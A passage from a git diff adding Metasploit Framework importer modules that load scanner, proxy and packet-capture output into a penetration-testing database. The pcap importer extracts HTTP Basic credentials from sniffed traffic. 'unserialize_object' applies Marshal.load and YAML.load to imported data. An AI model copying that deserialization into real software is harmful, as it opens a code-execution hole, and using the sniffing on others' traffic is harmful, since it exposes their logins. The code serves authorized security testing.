data| yield type,data} + else + import_acunetix_noko_stream(noko_args) + end + return true + else # Sorry + raise Msf::DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end + +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/amap.rb b/lib/msf/core/db_manager/import/amap.rb new file mode 100644 index 0000000000..a1ed99b524 --- /dev/null +++ b/lib/msf/core/db_manager/import/amap.rb @@ -0,0 +1,84 @@ +module Msf::DBManager::Import::Amap + def import_amap_log(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + data.each_line do |line| + next if line =~ /^#/ + next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n + addr = $1 + next if bl.include? addr + port = $2.to_i + proto = $3.downcase + name = $4 + host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task]) + next if not host + yield(:address,addr) if block + info = { + :workspace => wspace, + :task => args[:task], + :host => host, + :proto => proto, + :port => port + } + if name != "unidentified" + info[:name] = name + end + service = find_or_create_service(info) + end + end + + def import_amap_log_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + + case import_filetype_detect(data) + when :amap_log + import_amap_log(args.merge(:data => data)) + when :amap_mlog + import_amap_mlog(args.merge(:data => data)) + else + raise Msf::DBImportError.new("Could not determine file type") + end + end + + def import_amap_mlog(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + data.each_line do |line| + next if line =~ /^#/ + r = line.split(':') + next if r.length < 6 + + addr = r[0] + next if bl.include? addr + port = r[1].to_i + proto = r[2].downcase + status = r[3] + name = r[5] + next if status != "open" + + host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task]) + next if not host + yield(:address,addr) if block + info = { + :workspace => wspace, + :task => args[:task], + :host => host, + :proto => proto, + :port => port + } + if name != "unidentified" + info[:name] = name + end + service = find_or_create_service(info) + end + end +end diff --git a/lib/msf/core/db_manager/import/appscan.rb b/lib/msf/core/db_manager/import/appscan.rb new file mode 100644 index 0000000000..4a87a96195 --- /dev/null +++ b/lib/msf/core/db_manager/import/appscan.rb @@ -0,0 +1,33 @@ +require 'rex/parser/appscan_nokogiri' + +module Msf::DBManager::Import::Appscan + def import_appscan_noko_stream(args={},&block) + if block + doc = Rex::Parser::AppscanDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::AppscanDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_appscan_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_appscan_noko_stream(noko_args) {|type, data| yield type,data} + else + import_appscan_noko_stream(noko_args) + end + return true + else # Sorry + raise Msf::DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/burp.rb b/lib/msf/core/db_manager/import/burp.rb new file mode 100644 index 0000000000..aa5e2f54a8 --- /dev/null +++ b/lib/msf/core/db_manager/import/burp.rb @@ -0,0 +1,34 @@ +require 'rex/parser/burp_session_nokogiri' + +module Msf::DBManager::Import::Burp + def import_burp_session_noko_stream(args={},&block) + if block + doc = Rex::Parser::BurpSessionDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::BurpSessionDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_burp_session_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + # Rex::Parser.reload("burp_session_nokogiri.rb") + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_burp_session_noko_stream(noko_args) {|type, data| yield type,data} + else + import_burp_session_noko_stream(noko_args) + end + return true + else # Sorry + raise Msf::DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end +end diff --git a/lib/msf/core/db_manager/import/ci.rb b/lib/msf/core/db_manager/import/ci.rb new file mode 100644 index 0000000000..2b1172ea4f --- /dev/null +++ b/lib/msf/core/db_manager/import/ci.rb @@ -0,0 +1,33 @@ +require 'rex/parser/ci_nokogiri' + +module Msf::DBManager::Import::CI + def import_ci_noko_stream(args, &block) + if block + doc = Rex::Parser::CIDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::CI.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_ci_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_ci_noko_stream(noko_args) {|type, data| yield type,data} + else + import_ci_noko_stream(noko_args) + end + return true + else # Sorry + raise Msf::DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/foundstone.rb b/lib/msf/core/db_manager/import/foundstone.rb new file mode 100644 index 0000000000..2cd611a3e7 --- /dev/null +++ b/lib/msf/core/db_manager/import/foundstone.rb @@ -0,0 +1,33 @@ +require 'rex/parser/foundstone_nokogiri' + +module Msf::DBManager::Import::Foundstone + def import_foundstone_noko_stream(args={},&block) + if block + doc = Rex::Parser::FoundstoneDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::FoundstoneDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_foundstone_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_foundstone_noko_stream(noko_args) {|type, data| yield type,data} + else + import_foundstone_noko_stream(noko_args) + end + return true + else # Sorry + raise Msf::DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end +end diff --git a/lib/msf/core/db_manager/import/fusion_vm.rb b/lib/msf/core/db_manager/import/fusion_vm.rb new file mode 100644 index 0000000000..2299e0bd48 --- /dev/null +++ b/lib/msf/core/db_manager/import/fusion_vm.rb @@ -0,0 +1,11 @@ +require 'rex/parser/fusionvm_nokogiri' + +module Msf::DBManager::Import::FusionVM + def import_fusionvm_xml(args={}) + args[:wspace] ||= workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + doc = Rex::Parser::FusionVMDocument.new(args,self) + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end +end diff --git a/lib/msf/core/db_manager/import/ip360.rb b/lib/msf/core/db_manager/import/ip360.rb new file mode 100644 index 0000000000..bd0814d34e --- /dev/null +++ b/lib/msf/core/db_manager/import/ip360.rb @@ -0,0 +1,9 @@ +require 'rex/parser/ip360_aspl_xml' + +module Msf::DBManager::Import::IP360 + autoload :ASPL, 'msf/core/db_manager/import/ip360/aspl' + autoload :V3, 'msf/core/db_manager/import/ip360/v3' + + include Msf::DBManager::Import::IP360::ASPL + include Msf::DBManager::Import::IP360::V3 +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/ip360/aspl.rb b/lib/msf/core/db_manager/import/ip360/aspl.rb new file mode 100644 index 0000000000..1d06b180ae --- /dev/null +++ b/lib/msf/core/db_manager/import/ip360/aspl.rb @@ -0,0 +1,23 @@ +require 'rex/parser/ip360_aspl_xml' + +module Msf::DBManager::Import::IP360::ASPL + # + # Import IP360's ASPL database + # + def import_ip360_aspl_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + if not data.index("<ontology") + raise Msf::DBImportError.new("The ASPL file does not appear to be valid or may still be compressed") + end + + base = ::File.join(Msf::Config.config_directory, "data", "ncircle") + ::FileUtils.mkdir_p(base) + ::File.open(::File.join(base, "ip360.aspl"), "wb") do |fd| + fd.write(data) + end + yield(:notice, "Saved the IP360 ASPL database to #{base}...") + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/ip360/v3.rb b/lib/msf/core/db_manager/import/ip360/v3.rb new file mode 100644 index 0000000000..1bbd58e3a8 --- /dev/null +++ b/lib/msf/core/db_manager/import/ip360/v3.rb @@ -0,0 +1,188 @@ +require 'rex/parser/ip360_xml' + +module Msf::DBManager::Import::IP360::V3 + # + # Import IP360 XML v3 output + # + def import_ip360_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_ip360_xml_v3(args.merge(:data => data)) + end + + # + # Import IP360's xml output + # + def import_ip360_xml_v3(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + # @aspl = {'vulns' => {'name' => { }, 'cve' => { }, 'bid' => { } } + # 'oses' => {'name' } } + + aspl_path = nil + aspl_paths = [ + ::File.join(Msf::Config.config_directory, "data", "ncircle", "ip360.aspl"), + ::File.join(Msf::Config.data_directory, "ncircle", "ip360.aspl") + ] + + aspl_paths.each do |tpath| + next if not (::File.exist?(tpath) and ::File.readable?(tpath)) + aspl_path = tpath + break + end + + if not aspl_path + raise Msf::DBImportError.new("The nCircle IP360 ASPL file is not present.\n Download ASPL from nCircle VNE | Administer | Support | Resources, unzip it, and import it first") + end + + # parse nCircle ASPL file + aspl = "" + ::File.open(aspl_path, "rb") do |f| + aspl = f.read(f.stat.size) + end + + @asplhash = nil + parser = Rex::Parser::IP360ASPLXMLStreamParser.new + parser.on_found_aspl = Proc.new { |asplh| + @asplhash = asplh + } + REXML::Document.parse_stream(aspl, parser) + + # nCircle has some quotes escaped which causes the parser to break + # we don't need these lines so just replace \" with " + data.gsub!(/\\"/,'"') + + # parse nCircle Scan Output + parser = Rex::Parser::IP360XMLStreamParser.new + parser.on_found_host = Proc.new { |host| + hobj = nil + addr = host['addr'] || host['hname'] + + next unless ipv46_validator(addr) # Catches SCAN-ERROR, among others. + + if bl.include? addr + next + else + yield(:address,addr) if block + end + + os = host['os'] + hname = host['hname'] + mac = host['mac'] + + host_hash = { + :workspace => wspace, + :host => addr, + :task => args[:task] + } + host_hash[:name] = hname.to_s.strip if hname + host_hash[:mac] = mac.to_s.strip.upcase if mac + + hobj = report_host(host_hash) + + yield(:os, os) if block + if os + report_note( + :workspace => wspace, + :task => args[:task], + :host => hobj, + :type => 'host.os.ip360_fingerprint', + :data => { + :os => @asplhash['oses'][os].to_s.strip + } + ) + end + + host['apps'].each do |item| + port = item['port'].to_s + proto = item['proto'].to_s + + handle_ip360_v3_svc(wspace, hobj, port, proto, hname, args[:task]) + end + + + host['vulns'].each do |item| + vulnid = item['vulnid'].to_s + port = item['port'].to_s + proto = item['proto'] || "tcp" + vulnname = @asplhash['vulns']['name'][vulnid] + cves = @asplhash['vulns']['cve'][vulnid] + bids = @asplhash['vulns']['bid'][vulnid] + + yield(:port, port) if block + + handle_ip360_v3_vuln(wspace, hobj, port, proto, hname, vulnid, vulnname, cves, bids, args[:task]) + + end + + yield(:end, hname) if block + } + + REXML::Document.parse_stream(data, parser) + end + + protected + + # IP360 v3 svc + def handle_ip360_v3_svc(wspace,hobj,port,proto,hname,task=nil) + addr = hobj.address + report_host(:workspace => wspace, :host => hobj, :state => Msf::HostState::Alive, :task => task) + + info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } + if hname != "unknown" and hname[-1,1] != "?" + info[:name] = hname + end + + if port.to_i != 0 + report_service(info) + end + end + + # + # IP360 v3 vuln + # + def handle_ip360_v3_vuln(wspace,hobj,port,proto,hname,vulnid,vulnname,cves,bids,task=nil) + info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } + if hname != "unknown" and hname[-1,1] != "?" + info[:name] = hname + end + + if port.to_i != 0 + report_service(info) + end + + refs = [] + + cves.split(/,/).each do |cve| + refs.push(cve.to_s) + end if cves + + bids.split(/,/).each do |bid| + refs.push('BID-' + bid.to_s) + end if bids + + description = nil # not working yet + vuln = { + :workspace => wspace, + :host => hobj, + :name => vulnname, + :info => description ? description : "", + :refs => refs, + :task => task + } + + if port.to_i != 0 + vuln[:port] = port + vuln[:proto] = proto + end + + report_vuln(vuln) + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/ip_list.rb b/lib/msf/core/db_manager/import/ip_list.rb new file mode 100644 index 0000000000..b53c6d0827 --- /dev/null +++ b/lib/msf/core/db_manager/import/ip_list.rb @@ -0,0 +1,28 @@ +module Msf::DBManager::Import::IPList + def import_ip_list(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + data.each_line do |ip| + ip.strip! + if bl.include? ip + next + else + yield(:address,ip) if block + end + host = find_or_create_host(:workspace => wspace, :host=> ip, :state => Msf::HostState::Alive, :task => args[:task]) + end + end + + def import_ip_list_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_ip_list(args.merge(:data => data)) + end +end diff --git a/lib/msf/core/db_manager/import/libpcap.rb b/lib/msf/core/db_manager/import/libpcap.rb new file mode 100644 index 0000000000..80d0259ffb --- /dev/null +++ b/lib/msf/core/db_manager/import/libpcap.rb @@ -0,0 +1,220 @@ +module Msf::DBManager::Import::Libpcap + # The libpcap file format is handled by PacketFu for data + # extraction. TODO: Make this its own mixin, and possibly + # extend PacketFu to do better stream analysis on the fly. + def import_libpcap(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + # seen_hosts is only used for determining when to yield an address. Once we get + # some packet analysis going, the values will have all sorts of info. The plan + # is to ru through all the packets as a first pass and report host and service, + # then, once we have everything parsed, we can reconstruct sessions and ngrep + # out things like authentication sequences, examine ttl's and window sizes, all + # kinds of crazy awesome stuff like that. + seen_hosts = {} + decoded_packets = 0 + last_count = 0 + data.read_packet_bytes do |p| + if (decoded_packets >= last_count + 1000) and block + yield(:pcap_count, decoded_packets) + last_count = decoded_packets + end + decoded_packets += 1 + + pkt = PacketFu::Packet.parse(p) rescue next # Just silently skip bad packets + + next unless pkt.is_ip? # Skip anything that's not IP. Technically, not Ethernet::Ip + next if pkt.is_tcp? && (pkt.tcp_src == 0 || pkt.tcp_dst == 0) # Skip port 0 + next if pkt.is_udp? && (pkt.udp_src == 0 || pkt.udp_dst == 0) # Skip port 0 + saddr = pkt.ip_saddr + daddr = pkt.ip_daddr + + # Handle blacklists and obviously useless IP addresses, and report the host. + next if (bl | [saddr,daddr]).size == bl.size # Both hosts are blacklisted, skip everything. + unless( bl.include?(saddr) || rfc3330_reserved(saddr)) + yield(:address,saddr) if block and !seen_hosts.keys.include?(saddr) + unless seen_hosts[saddr] + report_host( + :workspace => wspace, + :host => saddr, + :state => Msf::HostState::Alive, + :task => args[:task] + ) + end + seen_hosts[saddr] ||= [] + + end + unless( bl.include?(daddr) || rfc3330_reserved(daddr)) + yield(:address,daddr) if block and !seen_hosts.keys.include?(daddr) + unless seen_hosts[daddr] + report_host( + :workspace => wspace, + :host => daddr, + :state => Msf::HostState::Alive, + :task => args[:task] + ) + end + seen_hosts[daddr] ||= [] + end + + if pkt.is_tcp? # First pass on TCP packets + if (pkt.tcp_flags.syn == 1 and pkt.tcp_flags.ack == 1) or # Oh, this kills me + pkt.tcp_src < 1024 # If it's a low port, assume it's a proper service. + if seen_hosts[saddr] + unless seen_hosts[saddr].include? [pkt.tcp_src,"tcp"] + report_service( + :workspace => wspace, :host => saddr, + :proto => "tcp", :port => pkt.tcp_src, + :state => Msf::ServiceState::Open, + :task => args[:task] + ) + seen_hosts[saddr] << [pkt.tcp_src,"tcp"] + yield(:service,"%s:%d/%s" % [saddr,pkt.tcp_src,"tcp"]) + end + end + end + elsif pkt.is_udp? # First pass on UDP packets + if pkt.udp_src == pkt.udp_dst # Very basic p2p detection. + [saddr,daddr].each do |xaddr| + if seen_hosts[xaddr] + unless seen_hosts[xaddr].include? [pkt.udp_src,"udp"] + report_service( + :workspace => wspace, :host => xaddr, + :proto => "udp", :port => pkt.udp_src, + :state => Msf::ServiceState::Open, + :task => args[:task] + ) + seen_hosts[xaddr] << [pkt.udp_src,"udp"] + yield(:service,"%s:%d/%s" % [xaddr,pkt.udp_src,"udp"]) + end + end + end + elsif pkt.udp_src < 1024 # Probably a service + if seen_hosts[saddr] + unless seen_hosts[saddr].include? [pkt.udp_src,"udp"] + report_service( + :workspace => wspace, :host => saddr, + :proto => "udp", :port => pkt.udp_src, + :state => Msf::ServiceState::Open, + :task => args[:task] + ) + seen_hosts[saddr] << [pkt.udp_src,"udp"] + yield(:service,"%s:%d/%s" % [saddr,pkt.udp_src,"udp"]) + end + end + end + end # tcp or udp + + inspect_single_packet(pkt,wspace,args) + + end # data.body.map + + # Right about here, we should have built up some streams for some stream analysis. + # Not sure what form that will take, but people like shoving many hundreds of + # thousands of packets through this thing, so it'll need to be memory efficient. + + end + + def import_libpcap_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = PacketFu::PcapFile.new(:filename => filename) + import_libpcap(args.merge(:data => data)) + end + + # Do all the single packet analysis we can while churning through the pcap + # the first time. Multiple packet inspection will come later, where we can + # do stream analysis, compare requests and responses, etc. + def inspect_single_packet(pkt,wspace,args) + if pkt.is_tcp? or pkt.is_udp? + inspect_single_packet_http(pkt,wspace,args) + end + end + + # Checks for packets that are headed towards port 80, are tcp, contain an HTTP/1.0 + # line, contains an Authorization line, contains a b64-encoded credential, and + # extracts it. Reports this credential and solidifies the service as HTTP. + def inspect_single_packet_http(pkt,wspace,args) + task = args.fetch(:task, nil) + # First, check the server side (data from port 80). + if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? + if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n + http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n) + if http_server_match.kind_of?(MatchData) and http_server_match[1] + report_service( + :workspace => wspace, + :host => pkt.ip_saddr, + :port => pkt.tcp_src, + :proto => "tcp", + :name => "http", + :info => http_server_match[1], + :state => Msf::ServiceState::Open, + :task => task + ) + # That's all we want to know from this service. + return :something_significant + end + end + end + + # Next, check the client side (data to port 80) + if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty? + if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n) + auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n) + if auth_match.kind_of?(MatchData) and auth_match[1] + b64_cred = auth_match[1] + else + return false + end + # If we're this far, we can surmise that at least the client is a web browser, + # he thinks the server is HTTP and he just made an authentication attempt. At + # this point, we'll just believe everything the packet says -- validation ought + # to come later. + user,pass = b64_cred.unpack("m*").first.split(/:/,2) + report_service( + :workspace => wspace, + :host => pkt.ip_daddr, + :port => pkt.tcp_dst, + :proto => "tcp", + :name => "http", + :task => task + ) + + service_data = { + address: pkt.ip_daddr, + port: pkt.tcp_dst, + service_name: 'http', + protocol: 'tcp', + workspace_id: wspace.id + } + service_data[:task_id] = task.id if task + + filename = args[:filename] + + credential_data = { + origin_type: :import, + private_data: pass, + private_type: :password, + username: user, + filename: filename + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + + create_credential_login(login_data) + + # That's all we want to know from this service. + return :something_significant + end + end + end +end diff --git a/lib/msf/core/db_manager/import/mbsa.rb b/lib/msf/core/db_manager/import/mbsa.rb new file mode 100644 index 0000000000..24e7c2e301 --- /dev/null +++ b/lib/msf/core/db_manager/import/mbsa.rb @@ -0,0 +1,33 @@ +require 'rex/parser/mbsa_nokogiri' + +module Msf::DBManager::Import::MBSA + def import_mbsa_noko_stream(args={},&block) + if block + doc = Rex::Parser::MbsaDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::MbsaDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_mbsa_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_mbsa_noko_stream(noko_args) {|type, data| yield type,data} + else + import_mbsa_noko_stream(noko_args) + end + return true + else # Sorry + raise Msf::DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") + end + end +end diff --git a/lib/msf/core/db_manager/import/metasploit_framework.rb b/lib/msf/core/db_manager/import/metasploit_framework.rb new file mode 100644 index 0000000000..5e12fad48b --- /dev/null +++ b/lib/msf/core/db_manager/import/metasploit_framework.rb @@ -0,0 +1,45 @@ +module Msf::DBManager::Import::MetasploitFramework + autoload :Credential, 'msf/core/db_manager/import/metasploit_framework/credential' + autoload :XML, 'msf/core/db_manager/import/metasploit_framework/xml' + autoload :Zip, 'msf/core/db_manager/import/metasploit_framework/zip' + + include Msf::DBManager::Import::MetasploitFramework::Credential + include Msf::DBManager::Import::MetasploitFramework::XML + include Msf::DBManager::Import::MetasploitFramework::Zip + + # Convert the string "NULL" to actual nil + def nils_for_nulls(str) + str == "NULL" ? nil : str + end + + def unserialize_object(xml_elem, allow_yaml = false) + return nil unless xml_elem + string = xml_elem.text.to_s.strip + return string unless string.is_a?(String) + return nil if (string.empty? || string.nil?) + + begin + # Validate that it is properly formed base64 first + if string.gsub(/\s+/, '') =~ /^([a-z0-9A-Z\+\/=]+)$/ + Marshal.load($1.unpack("m")[0]) + else + if allow_yaml + begin + YAML.load(string) + rescue + dlog("Badly formatted YAML: '#{string}'") + string + end + else + string + end + end + rescue ::Exception => e + if allow_yaml + YAML.load(string) rescue string + else + string + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/metasploit_framework/credential.rb b/lib/msf/core/db_manager/import/metasploit_framework/credential.rb new file mode 100644 index 0000000000..fdf80e76e1 --- /dev/null +++ b/lib/msf/core/db_manager/import/metasploit_framework/credential.rb @@ -0,0 +1,36 @@ +module Msf::DBManager::Import::MetasploitFramework::Credential + # Import credentials given a path to a valid manifest file + # + # @param creds_dump_manifest_path [String] + # @param workspace [Mdm::Workspace] Default: {#workspace} + # @return [void] + def import_msf_cred_dump(creds_dump_manifest_path, workspace) + manifest_file = File.open(creds_dump_manifest_path) + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(creds_dump_manifest_path)) + importer = Metasploit::Credential::Importer::Core.new(workspace: workspace, input: manifest_file, origin: origin) + importer.import! + end + + # Import credentials given a path to a valid manifest file + # + # @option args [String] :filename + # @option args [Mdm::Workspace] :wspace Default: {#workspace} + # @return [void] + def import_msf_cred_dump_zip(args = {}) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: File.basename(args[:filename])) + importer = Metasploit::Credential::Importer::Zip.new(workspace: wspace, input: File.open(args[:filename]), origin: origin) + importer.import! + nil + end + + # Perform in an import of an msfpwdump file + def import_msf_pwdump(args={}, &block) + filename = File.basename(args[:data].path) + wspace = args[:wspace] || workspace + origin = Metasploit::Credential::Origin::Import.create!(filename: filename) + importer = Metasploit::Credential::Importer::Pwdump.new(input: args[:data], workspace: wspace, filename: filename, origin:origin) + importer.import! + importer.input.close unless importer.input.closed? + end +end diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb new file mode 100644 index 0000000000..b94e564dc4 --- /dev/null +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -0,0 +1,600 @@ +# -*- coding: binary -*- +# Handles importing of the xml format exported by Pro. The methods are in a +# module because (1) it's just good code layout and (2) it allows the +# methods to be overridden in Pro without using alias_method_chain as +# methods defined in a class cannot be overridden by including a module +# (unless you're running Ruby 2.0 and can use prepend) +module Msf::DBManager::Import::MetasploitFramework::XML + # + # CONSTANTS + # + + # Elements that can be treated as text (i.e. do not need to be + # deserialized) in {#import_msf_web_page_element} + MSF_WEB_PAGE_TEXT_ELEMENT_NAMES = [ + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' + ] + + # Elements that can be treated as text (i.e. do not need to be + # deserialized) in {#import_msf_web_element}. + MSF_WEB_TEXT_ELEMENT_NAMES = [ + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' + ] + + # Elements that can be treated as text (i.e. do not need to be + # deserialized) in {#import_msf_web_vuln_element}. + MSF_WEB_VULN_TEXT_ELEMENT_NAMES = [ + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' + ] + + # + # Instance Methods + # + + # Import a Metasploit XML file. + def import_msf_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_msf_xml(args.merge(:data => data)) + end + + # Imports web_form element using {Msf::DBManager#report_web_form}. + # + # @param element [REXML::Element] web_form element. + # @param options [Hash{Symbol => Object}] options + # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when + # deserializing params. + # @option options [Mdm::Workspace, nil] :workspace + # (Msf::DBManager#workspace) workspace under which to report the + # Mdm::WebForm + # @yield [event, data] + # @yieldparam event [:web_page] The event name + # @yieldparam data [String] path + # @yieldreturn [void] + # @return [void] + def import_msf_web_form_element(element, options={}, ¬ifier) + options.assert_valid_keys(:allow_yaml, :workspace) + + import_msf_web_element(element, + :allow_yaml => options[:allow_yaml], + :notifier => notifier, + :type => :form, + :workspace => options[:workspace]) do |element, options| + info = import_msf_text_element(element, 'method') + + # FIXME https://www.pivotaltracker.com/story/show/46578647 + # FIXME https://www.pivotaltracker.com/story/show/47128407 + unserialized_params = unserialize_object( + element.elements['params'], + options[:allow_yaml] + ) + info[:params] = nils_for_nulls(unserialized_params) + + info + end + end + + # Imports web_page element using {Msf::DBManager#report_web_page}. + # + # @param element [REXML::Element] web_page element. + # @param options [Hash{Symbol => Object}] options + # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when + # deserializing headers. + # @option options [Mdm::Workspace, nil] :workspace + # (Msf::DBManager#workspace) workspace under which to report the + # Mdm::WebPage. + # @yield [event, data] + # @yieldparam event [:web_page] The event name + # @yieldparam data [String] path + # @yieldreturn [void] + # @return [void] + def import_msf_web_page_element(element, options={}, ¬ifier) + options.assert_valid_keys(:allow_yaml, :workspace) + + import_msf_web_element(element, + :allow_yaml => options[:allow_yaml], + :notifier => notifier, + :type => :page, + :workspace => options[:workspace]) do |element, options| + info = {} + + MSF_WEB_PAGE_TEXT_ELEMENT_NAMES.each do |name| + element_info = import_msf_text_element(element, name) + info.merge!(element_info) + end + + code = info[:code] + + if code + info[:code] = code.to_i + end + + # FIXME https://www.pivotaltracker.com/story/show/46578647 + # FIXME https://www.pivotaltracker.com/story/show/47128407 + unserialized_headers = unserialize_object( + element.elements['headers'], + options[:allow_yaml] + ) + info[:headers] = nils_for_nulls(unserialized_headers) + + info + end + end + + # Imports web_vuln element using {Msf::DBManager#report_web_vuln}. + # + # @param element [REXML::Element] web_vuln element. + # @param options [Hash{Symbol => Object}] options + # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when + # deserializing headers. + # @option options [Mdm::Workspace, nil] :workspace + # (Msf::DBManager#workspace) workspace under which to report the + # Mdm::WebPage. + # @yield [event, data] + # @yieldparam event [:web_page] The event name + # @yieldparam data [String] path + # @yieldreturn [void] + # @return [void] + def import_msf_web_vuln_element(element, options={}, ¬ifier) + options.assert_valid_keys(:allow_yaml, :workspace) + + import_msf_web_element(element, + :allow_yaml => options[:allow_yaml], + :notifier => notifier, + :workspace => options[:workspace], + :type => :vuln) do |element, options| + info = {} + + MSF_WEB_VULN_TEXT_ELEMENT_NAMES.each do |name| + element_info = import_msf_text_element(element, name) + info.merge!(element_info) + end + + confidence = info[:confidence] + + if confidence + info[:confidence] = confidence.to_i + end + + # FIXME https://www.pivotaltracker.com/story/show/46578647 + # FIXME https://www.pivotaltracker.com/story/show/47128407 + unserialized_params = unserialize_object( + element.elements['params'], + options[:allow_yaml] + ) + info[:params] = nils_for_nulls(unserialized_params) + + risk = info[:risk] + + if risk + info[:risk] = risk.to_i + end + + info + end + end + + # For each host, step through services, notes, and vulns, and import + # them. + # TODO: loot, tasks, and reports + def import_msf_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || 